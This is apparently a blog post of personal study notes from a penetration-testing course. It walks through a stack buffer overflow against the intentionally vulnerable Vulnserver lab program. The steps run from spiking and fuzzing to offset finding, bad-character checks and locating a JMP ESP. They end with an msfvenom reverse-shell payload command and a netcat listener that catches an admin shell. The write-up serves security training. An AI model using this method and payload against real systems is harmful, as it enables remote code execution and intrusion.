TCM PEH Manual Buffer Overflow Notes
Intro to Buffer Overflows Notes
Required Installations
Windows 7, 8.1, or 10
Within that, Vulnserver (https://github.com/stephenbradshaw/vulnserver)
Download as a zip from github, exctract to C:
Immunity Debugger (https://www.immunityinc.com/products/debugger/)
Install to C:
BOF Explained
Anatomy of Memory
KERNEL—>1111
STACK{
ESP (Ext Stack Ptr)
Buffer Space
EBP (Ext Base Ptr)
EIP (Ext Instr Ptr)/Return Address}
HEAP
DATA
TEXT—>0000
Ideally, the Buffer Space should be able to take a bunch of characters, but should STOP before EBP starts.
Buffer Space[AA
AAAAAAAAAAA
AAAAAAAAAAA
AAAAAAAAAAA
EBP[AAAAAAAA]
EIP[AAApayload]
Get a payload into the EIP and you have a BOF
Kind of.
You still have to find vulnerable, non-protected modules within the binary to do a jump call to, then do some padding (nop sled), and where you then end up is where you execute reverse shell payload.
Steps to conduct a BOF
- Spiking
- Fuzzing
- Finding the Offset
- Overwriting the EIP
- Finding bad chars
- Finding the right Module
- Generating Shellcode
- Root!
BOF Spiking
NOTE: The following process must be performed after each run at the vulnserver, in order to re-attach immunity and debug properly!!!
Rclick vunserver, run as Admin
Run Immunity as Admin
In Immunity click File>Attach
Scroll down, click Vulnserver
Click Start/Play button
Move to Kali machine
Vulnserver runs on tcp 9999
nc -nv <winIP>:9999
HELP
The TRUN command is vulnerable, here.
STATS is not vulnerable.
Let’s look at STATS first, and compare.
EXIT
generic_send_tcp
generic_send_tcp requires <port> <spike_script> <SKIPVAR> <SKIPSTR>
This is in the demo spike_strip, named stats.spk
s_readline();
s_string(“STATS”);
s_string_variable(“0”);
So when this is sent, it will send a ton of characters, then even more chars, then even more more chars, to see where things break.
generic_send_tcp 192.168.x.x 9999 stats.spk 0 0
In Immunity, server is taking commands but nothing is happening during the spike.
So for the TRUN command, the spike_strip is:
s_readline();
s_string(“TRUN”);
s_string_variable(“0”);
generic_send_tcp 192.168.x.x 9999 trun.spk 0 0
In immunity, server is taking commands then almost immediatey crashes.
ctrl+c the generic_send_tcp
Looking in Immunity, TRUN sends AAAAAAAA to buffer, at EAX, then down in ESP there are a ton more ASCII AAAAAA’s
Below the ESP, the EBP is 41414141, which is AAAA
Below the EBP, the EIP is 41414141, which is AAAA, therefore we can write right through to the EIP.
So I guess now, it’s “how many characters does it take to get to the beginning of the EIP?”
Fuzzing
Fuzzing is similar to Spiking, but is different? Seems like it’s just that Spiking is specifically one method and Fuzzing is multiple variables or methods. But I’m not clear on that.
Demo is a 1.py
chmod +x 1.py
./1.py
In immunity, vulnserver starts receiving connections then crashes
ctrl+c to stop 1.py
Output: Fuzzing crashed at 2700 bytes
Looking in Immunit, doesn’t look ike EIP was overwritten
He says, round it up to about 3000 bytes
So about 3000 will crash out of the buffer, I guess more will get us to EIP.
Finding the Offset
Looking for the EIP
Tool in MSF is pattern_create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 // -l is Length
Hit enter
It generates a crazy cyclical code that will have to be sent into server. We will later come back and feed a new value back to the tool to find the offset, because maths.
New demo script, named 2.py:
chmod +x 2.py
./2.py
In immunity, server starts accepting connections and immediately crashes.
Looks like it is going right through EBP and into the EIP.
What we’re looking for is the hex value in EIP (386F4337)
Go back to terminal
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 386F4337
Hit enter
If we did it right, that pattern will have an output of [*] Exact match at offset 2003
Now we can test. There are 2003 bytes before EIP, then bytes 2004, 2005, 2006, 2006 are the EIP.
Interesting, that is a small chunk of code to fit a shell or new pointer in.
Overwriting the EIP
Alter the demo script 2.py:
chmod +x 2.py
./2.py
In immunity, server accepts and crashes
Looking in Immunity, AAAA’s are send to buffer
EBP gets filled with 41414141 (AAAA)
EIP gets filled with 42424242 (BBBB), exactly 4 B’s.
Our offset is perfect.
So now we look for bad characters to see what we CANNOT send to EIP to prevent blindly crashing with our payload.
Finding Bad Chars
We need to generate shellcode
We need to find outt what characters are good for the shellcode
We need to find out what characters are bad for the shellcode
This stuff will be hex
By default, null byte is a bad char
Google badchars (https://www.ins1gn1a.com/identifying-bad-characters/#sending-a-bad-character-array)
Copy/paste the badChars variable into previous 2.py and edit like so:
Save it
Run it with Immuity attached to vulnserver
./2.py
In immunity, r-click the EIP, click Follow in Dump
Look at the hex dump
The last thing sent in badChars is xff, ie. FF and FF is present in EIP dump
We’re looking at what’s missing or out of place from the hexdump, like in this pic
The badChars is just all Hex listed from 01 to FF (00 is always bad, no point in confirming). Which ever chars are missing (replaced with some other weird hex char) is a bad character.
Write down the bad characters.
They will ALL HAVE TO GO into shellcode that we generate later.
Finding the Right Module
There’s a tool called Mona.py that works with immunity (https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/)
Follow the instructions in the above jump to install
After installing, start vulnserver again, attach Immunity again
In immunity, at the very bottom text bar, type
!mona modules
and hit enter
A new pane will pop up with a table of Module info.
We’re looking for something that’s:
- Attached to vulnserver and
- Is all Falses.
False means not protected, True means protected.
See pic
Now we need to figure out what op code JMP ESP is, so we can use it to point the BOF to a larger shell code space.
In terminal,
locate nasm_shell
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > JMP ESP
Output:
00000000 FFE4 jmp esp
So the opcode equivalent to a jmp esp code is FFE4
exit
Go back to immunity
in bottom, type
!mona find -s “\xff\xe4”-m essfunc.dll
\xff\xe4 = FFE4 (jmp esp)
-s = search
-m = module
essfunc.dll = the unprotected module found from !mona modules
In the results, you’ll see the first column in table is locations for FFE4 pointers
Back in terminal,
edit the 2.py script as:
Save and close.
Back in immunity,
click the Follow Expression arrow and enter the essfunc.dll pointer 625011af as in pic
Immunity will jump to that position in the code, it should be a JMP ESP call.
Press F2 to set break point at that position.
Now when we run the program, IF 2.py jumps to that call, then the program will halt.
So this is all a confirmation phase.
Run vulnserver, run 2.py
In immunity, vulnserver did stop at 625011af.
So we can write to EIP, then jump to this position from EIP.
Now what? Do we then write into that position, or what? I don’t know, yet.
Generating Shellcode & Gaining Root
Let’s see where this process goes.
msfvenom -p windows/shell_reverse_tcp LHOST=<our ip> LPORT=4444 EXITFUNC=thread -f -c -a x86 -b “\x00<and any other bad chars>”
Take note of payload size. This one is 351 bytes.
Copy the payload
Edit 2.py as:
Save and close.
In terminal, open nc listener
nc -lvnp 4444
Run vulnserver as Admin again
run 2.py
check netcat listener, has a shell
whoami
(admin, because it ran as Admin through vulnserver)
BOF Achieved
Let me know what you think of this article on twitter @cpardue09 or leave a comment below!